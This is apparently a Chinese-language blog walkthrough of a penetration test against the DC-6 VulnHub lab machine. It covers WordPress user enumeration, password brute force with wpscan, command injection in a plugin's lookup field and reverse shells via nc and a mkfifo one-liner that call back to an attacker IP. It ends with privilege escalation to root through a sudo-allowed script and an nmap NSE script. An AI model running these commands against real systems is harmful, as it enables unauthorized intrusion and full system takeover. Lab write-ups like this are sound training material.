[渗透测试][Kali]对DC-6靶机进行渗透测试

it2022-05-05  137

对DC-6靶机进行渗透测试


本例使用的工具主要有:wpscan,BurpSuite,nc(瑞士军刀)

1. 搭建渗透平台

Kali 2018, DC-6靶机, VMWare虚拟机平台 DC-6靶机的渗透需要用到DC作者在https://www.vulnhub.com/entry/dc-6,315/给出的提示

发现主机这个步骤省略

2. 枚举用户名

站点使用了wordpress,考虑使用wpscan

root@kali:~# wpscan --url wordy -eu

2. 用户名和密码爆破

DC-6的作者给了这样的提示

OK, this isn’t really a clue as such, but more of some “we don’t want to spend five years waiting for a certain process to finish” kind of advice for those who just want to get on with the job.

cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt That should save you a few years. ?

这个文件可以在kali OS对应的目录下找到我们根据提示生成一本字典,用于密码爆破 root@kali:~# wpscan --url wordy -U users.txt -P dc6pass.txt ----省略n行---- [+] Performing password attack on Xmlrpc against 5 user/s [SUCCESS] - mark / helpdesk01 Trying jens / !lak019b Time: 00:09:39 <======================> (12547 / 12547) 100.00% Time: 00:09:39 [i] Valid Combinations Found: | Username: mark, Password: helpdesk01 现在可以登入网站后台

3. 注入

后台页面中有一个工具:activity monitor,这个工具下的tools选项卡下的lookup功能存在远程代码执行漏洞,可以在searchexploit工具中搜索到详细信息。打开BP,设置好代理,随便往输入框输入一个域名,点击lookupBP拦截到数据包,里面有一块就是刚才输入的域名,我输入的是 g.cn,我在后面加了一段其他命令,然后放行数据包 g.cn | ls -l 前端页面返回了目录信息,不多说,直接试试nc

本地开启端口监听

root@kali:/# nc -lvp 1234

远程代码,放入bp中再转发给目标主机,即可拿到shell

g.cn | nc 192.168.11.128 1234 -e /bin/bash

4. 提权

拿到shell之后在mark用户目录下找到了一组用户名和密码,马上切换用户。 Things to do: - Restore full functionality for the hyperdrive (need to speak to Jens) - Buy present for Sarah's farewell party - Add new user: graham - GSo7isUM1D4 - done - Apply for the OSCP course - Buy new laptop for Sarah's replacement 尝试一下sudo -l出现了免密的jens的命令 graham@dc-6:~$ sudo -l sudo -l Matching Defaults entries for graham on dc-6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User graham may run the following commands on dc-6: (jens) NOPASSWD: /home/jens/backups.sh 考虑再用nc弄一个jens的反弹shell

追加到backup.sh的内容

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.11.128 1234 > /tmp/f 本地打开nc监听后运行backup.sh,可以拿到jens的shell,sudo -l看一下,nmap可以免密root,让这条命令帮我们打开一个shell,就可以拿到root。然后修改root密码,新建用户并设置密码再ssh登陆,最后切换为root账户 echo 'os.execute("/bin/sh")' > getroot.nse nmap --script getroot.nse

最新回复(0)